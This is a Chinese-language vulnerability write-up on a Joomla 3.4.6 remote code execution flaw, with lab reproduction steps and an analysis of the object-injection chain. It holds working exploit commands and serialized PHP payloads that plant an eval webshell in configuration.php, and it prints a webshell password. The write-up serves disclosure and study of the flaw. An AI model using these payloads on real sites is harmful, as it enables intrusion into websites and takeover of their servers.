Joomla 3.4.6-RCE预警

0x00:介绍

Joomla是一套内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统,最新版本为3.9.11,可以在Linux,Windows,MacOSX等各种不同的平台上执行,在CMS评测中获得”最佳开源CMS”奖!

upload successful

0x01:环境搭建

RCE:https://github.com/momika233/Joomla-3.4.6-RCE

环境下载://https://downloads.joomla.org/it/cms/joomla3/3-4-6

upload successful

0x02:漏洞复现

1、该CMS对函数过滤不严,导致了远程代码执行漏洞。

2、漏洞位置

根目录下的configuration.php

影响范围:3.0.0-3.4.6

3、漏洞验证

1
python3 Joomla-3.4.6-RCE.py -t http://192.168.31.29

upload successful

显示“Vulnerbale”证明存在漏洞

4、漏洞利用

1
python3 Joomla-3.4.5-RCE.py -t http://192.168.31.29/ --exploit -l 192.168.31.29 -p 6666

upload successful

执行成功后,会在”configuration.php”文件中写入一句话马

upload successful

连接密码为“zmrtqdtuyszanlonkundfefnnsezvjtwtcujhhmfixmeumqudb”

5、使用一句话马连接phpinfo

upload successful

0x03:漏洞利用分析

-用足够的’\ 0 \ 0 \ 0’填充用户名字段,以便进入密码字段
-重建有效的对象
-发送漏洞利用程序
-触发漏洞利用程序(带有重定向)

我们知道我们可以减小字符串的大小。通过在用户名字段(位于密码之前)进行操作,我们可以伪造它,并使其在我们控制下的下一个参数内结束。

1
[..]s:8:s:"username";s:10:"MYUSERNAME";**s:8:"password";s:10**:"MYPASSWORD"[...]

如您所见,从用户名值的末尾到密码的开头的距离是27个字节。易受攻击的替换使我们将值减小3的倍数(6个字节-3个字节),因此我们至少需要在用户名字段中使用’\ 0 \ 0 \ 0’的8倍,这将导致在其中简单填充1个额外的字符漏洞利用中的第二个参数(在POC中,我确定使用了9次\ 0 \ 0 \ 0)。

粗体字表示“用户名”的反序列化内容:

(在数据库中)
s:8:s:"username";s:54:"**\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0**";s:8:"password";s:10:"MYPASSWORD"

(阅读并更换后)
s:8:s:"username";s:54:"**NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA**SSWORD"

(实现对象注入):
s:8:s:”username”;s:54:”NNNNNNNNNNNNNNNNNNNNNNNNNNN”;s:8:”password”;s:10:”MYPA“;s:2:”HS”:O:15:”ObjectInjection”[…]

我们有一种稳定的方法来注入对象,现在是时候制作它了。
我们可以将CVE-XXXX漏洞利用中的有效负载用作起点,但是需要进行一些修改:

1
O:21:"**JDatabaseDriverMysqli**":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0**disconnectHandlers**";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

此有效负载将实例化JDatabaseDriverMysqli对象,并在disconnectHandlers属性(受保护的数组变量)中分配其他对象的数组。这是因为此类的已定义__destruct将调用$ this-> disconnect(),这会导致一个有趣的call_user_func_array():

upload successful

对于DisconnectHandlers数组中的每个值,都会以对对象(&$ this)的引用作为参数来执行call_user_func_array()。这是个不错的工具,但是我们只能控制函数调用,而不能控制参数。那就是SimplePie对象进入我们帮助的地方。

在SimplePie :: init(在library / simplepie / simplepie.php中声明)中,我们有不同的有趣小工具,如下所示:

upload successful

这更合适,因为我们有一个call_user_func,它的功能和参数值都在我们的控制之下。
但是,这就是为什么我认为原始有效负载无法正常工作的原因,必须满足一些条件才能接收以下代码行:必须声明$ this-> cache并声明$ parsed_feed_url [‘scheme’]( $ feed_url中的url)需要包含一些内容。
绕过这种情况并不是那么困难。首先,将cache_name_function设置为’system’,就可以使用诸如’https:// something /; id’之类的东西。第一个命令失败,但分号执行其余操作。

但是,在开发Metasploit模块时,我对此解决方案并不满意。如果目标环境禁用了诸如system,exec,shell_exec等功能,则您无法利用此漏洞做很多事情,我想使它更适合于更多环境。
因此,我回到了assert函数,看看在遵守条件的情况下是否可以实现PHP代码执行。唯一认为条件正在检查的字符串是包含有效架构(例如http://)的字符串,但这将导致语法错误。为了绕过它,我们可以链接一个OR(||)语句并将该模式​​捕获到一个变量中,如下所示:

*<PHP代码> || $ a =’http //‘;*

我们再次受到断言函数和某些特殊字符(例如’?’)的限制,因此我们需要一种在限制较少的环境中移动的方法。第一个想法是使用eval()在根目录中创建一个php文件,但不包含“?” Web服务器将不会解释我们的代码。根目录中存在一个“ configuration.php”文件。它不过是带有配置参数的类声明。我们可以在该文件的末尾附加一个eval,并使用它来执行具有以下负载的PHP代码:

1
file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

这将导致以下调用:

1
call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

最后,这是最终的对象:

1
s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"**assert**";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"**file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';**";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

现在,我们拥有开发可行的漏洞利用程序所需的一切。放在一起,我们可以使用登录表单发送漏洞利用程序,这会将恶意对象存储到数据库中。
然后,我们可以遵循从第一个响应开始的重定向,并且有效负载将从数据库中检索出来,并从session_start()函数进行反序列化,然后我们得到RCE!

0x04:漏洞预防

1、更新至最新版本3.9.12。

2、对网站目录文件进行查杀。